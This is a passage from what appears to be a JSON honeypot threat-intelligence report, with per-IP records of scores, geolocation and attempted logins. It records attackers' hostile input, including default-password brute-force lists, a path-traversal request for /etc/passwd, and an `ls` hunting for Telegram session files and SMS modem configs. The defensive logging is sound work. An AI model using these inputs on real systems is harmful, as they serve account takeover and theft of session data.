        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 1342",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T12:13:32.383000+00:00",
        "last_seen_30d": "2026-03-11T12:16:42.810000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "144.126.227.246": {
      "attack_count": 63,
      "first_seen": "2026-03-03T12:35:39.155Z",
      "last_seen": "2026-03-05T02:01:55.662Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "vps123",
        "admin",
        "admin1",
        "admin12",
        "admin123",
        "admin12345",
        "admin123456",
        "root",
        "root123"
      ],
      "commands_executed": [
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T12:02:43.994000+00:00",
        "last_seen_30d": "2026-03-05T02:02:59.254000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 63,
        "Suricata": 38
      }
    },
    "14.1.106.82": {
      "attack_count": 50,
      "first_seen": "2026-03-27T22:32:49.801Z",
      "last_seen": "2026-03-27T22:38:17.023Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T22:32:49.801000+00:00",
        "last_seen_30d": "2026-03-27T22:39:33.278000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "170.64.229.59": {
      "attack_count": 50,
      "first_seen": "2026-03-15T06:57:30.678Z",
      "last_seen": "2026-03-15T07:09:24.341Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "1234567890",
        "1q2w3e4r",
        "admin123",
        "pass123",
        "password1",
        "qwerty123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T06:57:30.678000+00:00",
        "last_seen_30d": "2026-03-15T07:10:33.049000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 22
      }
    },
    "94.243.14.65": {
      "attack_count": 50,
      "first_seen": "2026-03-03T17:58:57.492Z",
      "last_seen": "2026-03-03T18:04:21.701Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T17:58:57.492000+00:00",
        "last_seen_30d": "2026-03-03T18:05:26.678000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.173.168.144": {
      "attack_count": 44,
      "first_seen": "2026-03-15T10:41:25.351Z",
      "last_seen": "2026-03-15T21:35:10.676Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "arthur",
        "ceo",
        "clement",
        "dev",
        "ftptest",
        "recovery",
        "root",
        "was"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "Clement123!",
        "Ftptest123",
        "Root123.",
        "arthurpass",
        "ceo123",
        "dev@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T10:41:25.351000+00:00",
        "last_seen_30d": "2026-03-15T21:36:18.293000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 27
      }
    },
    "46.101.192.59": {
      "attack_count": 41,
      "first_seen": "2026-03-06T05:54:23.536Z",
      "last_seen": "2026-03-06T05:55:39.438Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "From: <sip:nm@nm>;tag=root",
        "GET / HTTP/1.0",
        "Max-Forwards: 70",
        "OPTIONS / HTTP/1.0",
        "OPTIONS / RTSP/1.0",
        "OPTIONS sip:nm SIP/2.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: application/sdp",
        "CSeq: 42 OPTIONS",
        "Content-Length: 0",
        "To: <sip:nm2@nm2>",
        "Via: SIP/2.0/TCP nm;branch=foo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T05:54:23.536000+00:00",
        "last_seen_30d": "2026-03-06T06:05:15.861000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 41,
        "Suricata": 30
      }
    },
    "142.93.38.0": {
      "attack_count": 38,
      "first_seen": "2026-03-02T08:25:55.630Z",
      "last_seen": "2026-03-02T08:33:33.868Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T08:25:55.630000+00:00",
        "last_seen_30d": "2026-03-02T08:34:37.254000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 13
      }
    },
    "222.114.185.30": {
      "attack_count": 35,
      "first_seen": "2026-03-30T06:12:57.246Z",
      "last_seen": "2026-03-30T06:14:21.171Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T06:12:57.246000+00:00",
        "last_seen_30d": "2026-03-30T06:15:21.394000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 4
      }
    },
    "61.182.2.26": {
      "attack_count": 35,
      "first_seen": "2026-03-27T01:18:33.207Z",
      "last_seen": "2026-03-27T01:20:12.853Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T01:18:33.207000+00:00",
        "last_seen_30d": "2026-03-27T01:21:19.275000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 4
      }
    },
    "64.62.156.192": {
      "attack_count": 20,
      "first_seen": "2026-03-02T01:29:25.906Z",
      "last_seen": "2026-03-14T03:50:45.857Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 411,
        "days_active_30d": 30,
        "ports_targeted_30d": 94,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T01:29:25.906000+00:00",
        "last_seen_30d": "2026-03-31T10:44:47.198000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 256,
        "Honeytrap": 111,
        "Cowrie": 20,
        "Ciscoasa": 15,
        "H0neytr4p": 8,
        "Ipphoney": 1
      }
    },
    "38.188.160.91": {
      "attack_count": 18,
      "first_seen": "2026-03-10T23:13:22.839Z",
      "last_seen": "2026-03-11T00:33:32.954Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "051285",
        "20061987",
        "rai"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:13:22.839000+00:00",
        "last_seen_30d": "2026-03-11T00:34:33.799000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "103.82.39.231": {
      "attack_count": 16,
      "first_seen": "2026-03-13T18:31:24.396Z",
      "last_seen": "2026-03-13T18:31:34.090Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "root"
      ],
      "commands_executed": [
        "uname -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 149089,
      "as_org": "CLOUDFLY CORPORATION",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T18:25:20.316000+00:00",
        "last_seen_30d": "2026-03-13T18:41:36.793000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 5
      }
    },
    "14.102.189.195": {
      "attack_count": 16,
      "first_seen": "2026-03-27T11:42:14.496Z",
      "last_seen": "2026-03-27T11:43:57.959Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 137120,
      "as_org": "Nas Internet Services Private Limited",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T11:42:14.496000+00:00",
        "last_seen_30d": "2026-03-27T11:45:01.238000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "220.134.104.142": {
      "attack_count": 16,
      "first_seen": "2026-03-20T19:33:14.787Z",
      "last_seen": "2026-03-20T19:36:00.808Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Pingtung City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T19:33:14.787000+00:00",
        "last_seen_30d": "2026-03-20T19:37:12.533000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 10
      }
    },
    "50.217.45.186": {
      "attack_count": 15,
      "first_seen": "2026-03-14T10:29:08.558Z",
      "last_seen": "2026-03-14T10:45:20.856Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Roswell",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-09T06:35:21.726000+00:00",
        "last_seen_30d": "2026-03-14T10:47:43.580000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Cowrie": 15,
        "Honeytrap": 3
      }
    },
    "139.59.246.240": {
      "attack_count": 12,
      "first_seen": "2026-03-04T19:15:00.647Z",
      "last_seen": "2026-03-04T19:21:16.035Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "solana"
      ],
      "passwords_attempted": [
        "sol",
        "solana"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T19:12:39.899000+00:00",
        "last_seen_30d": "2026-03-04T19:22:20.141000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "157.245.116.189": {
      "attack_count": 11,
      "first_seen": "2026-03-07T06:23:49.723Z",
      "last_seen": "2026-03-09T19:46:12.653Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 113157,
        "days_active_30d": 4,
        "ports_targeted_30d": 64649,
        "honeypots_triggered_30d": 17,
        "first_seen_30d": "2026-03-06T12:52:55.850000+00:00",
        "last_seen_30d": "2026-03-09T19:47:29.042000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 101135,
        "Honeytrap": 11956,
        "Mailoney": 12,
        "Cowrie": 11,
        "Dionaea": 10,
        "ConPot": 9,
        "Miniprint": 8,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Ciscoasa": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "H0neytr4p": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "178.160.228.51": {
      "attack_count": 11,
      "first_seen": "2026-03-17T21:51:55.447Z",
      "last_seen": "2026-03-17T21:54:59.821Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 12297,
      "as_org": "Telecom Armenia OJSC",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T21:51:55.447000+00:00",
        "last_seen_30d": "2026-03-17T21:56:05.108000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 6
      }
    },
    "183.81.169.235": {
      "attack_count": 8,
      "first_seen": "2026-03-28T04:49:02.995Z",
      "last_seen": "2026-03-28T05:33:29.870Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Connection: close",
        "GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 206264,
      "as_org": "Amarutu Technology Ltd",
      "threat_score": 96.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2324,
        "days_active_30d": 26,
        "ports_targeted_30d": 430,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-03-06T23:35:51.329000+00:00",
        "last_seen_30d": "2026-03-31T23:38:26.817000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1750,
        "Honeytrap": 531,
        "Mailoney": 12,
        "Cowrie": 8,
        "Honeyaml": 7,
        "Dionaea": 6,
        "ConPot": 3,
        "Ciscoasa": 2,
        "CitrixHoneypot": 2,
        "ElasticPot": 1,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "2.57.122.193": {
      "attack_count": 8,
      "first_seen": "2026-03-24T10:02:18.903Z",
      "last_seen": "2026-03-31T10:03:06.242Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T10:02:18.903000+00:00",
        "last_seen_30d": "2026-03-31T10:04:15.295000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "20.84.144.154": {
      "attack_count": 7,
      "first_seen": "2026-03-21T04:54:42.905Z",
      "last_seen": "2026-03-21T04:54:52.905Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 75.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.5,
        "persistence": 22.5,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 27,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-05T20:14:26.074000+00:00",
        "last_seen_30d": "2026-03-31T07:07:12.681000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Cowrie": 7,
        "Honeytrap": 5,
        "Dionaea": 1
      }
    },
    "93.115.0.4": {
      "attack_count": 7,
